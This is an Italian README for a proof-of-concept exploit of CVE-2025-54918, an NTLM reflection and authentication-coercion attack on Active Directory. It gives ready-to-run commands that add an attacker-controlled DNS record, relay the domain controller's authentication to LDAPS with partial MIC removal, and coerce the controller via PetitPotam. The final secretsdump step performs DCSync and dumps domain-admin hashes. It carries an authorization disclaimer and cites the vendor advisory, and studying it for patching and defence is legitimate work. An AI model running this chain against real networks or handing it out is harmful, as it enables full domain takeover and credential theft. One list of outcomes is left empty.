
POC per CVE-2025-54918 e una dimostrazione tecnica.
IMPORTANTE:
Per testare CVE-2025-54918, è necessario creare un record DNS nell'ambiente Active Directory di destinazione.
Consulta sempre il cliente e ottieni l'autorizzazione esplicita prima di testare, poiché ciò può influenzare il comportamento del DNS e dell'autenticazione in ambienti di produzione.
Questo repository contiene una Prova di Concetto tecnica che dimostra come un utente di dominio con privilegi bassi possa elevare i propri privilegi fino a livello di amministratore di dominio abusando della riflessione NTLM combinata con la coercizione dell'autenticazione.
Nota: la CVE è sfruttabile anche con signing impostato a True, che è il valore predefinito per un controller di dominio. Inoltre, la correzione per CVE-2025–54918 riguardava Windows 2025 , mentre CVE-2025–33073 ha corretto (involontariamente) per Windows 2022.
Una spiegazione più tecnica è disponibile sulla mia pagina Medium: https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1
192.168.140.150 (Signing è True, che è il valore predefinito per un controller di dominio)192.168.140.135nahya.localtest Utente di dominio valido (nessun privilegio DCSync)Clona i repository necessari:
git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git
Verifica che l'utente non possa eseguire DCSync prima dello sfruttamento:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

Crea un record DNS usando il nome NetBIOS + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA che risolve l'IP dell'attaccante.
python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
dc.nahya.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.140.135' -dns-ip 192.168.140.150

Esegui ntlmrelayx con rimozione parziale del MIC e escalation LDAP abilitata:
python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC --escalate-user USERNAME --no-validate-privs

Forza il Controller di Dominio ad autenticarsi al record DNS controllato dall'attaccante utilizzando una tecnica di coercizione (PetitPotam):
nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Esegui di nuovo secretsdump per confermare l'escalation dei privilegi:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC
✅ Risultato atteso: DCSync riuscito e recupero degli hash dell'amministratore di dominio

A questo punto, l'attaccante ha:
Fai riferimento all'articolo su Medium per una spiegazione approfondita della vulnerabilità e della catena di attacco.
Questo lavoro non sarebbe stato possibile senza:
impacket-partial-micAnalisi della Vulnerabilità di Bypass dell'Autenticazione NTLM e LDAP – Blog di CrowdStrike
https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/
Avviso di Sicurezza Microsoft – CVE-2025-54918 – Guida all'Aggiornamento MSRC
https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918
Questa Prova di Concetto è fornita esclusivamente per scopi educativi e di test di sicurezza autorizzati.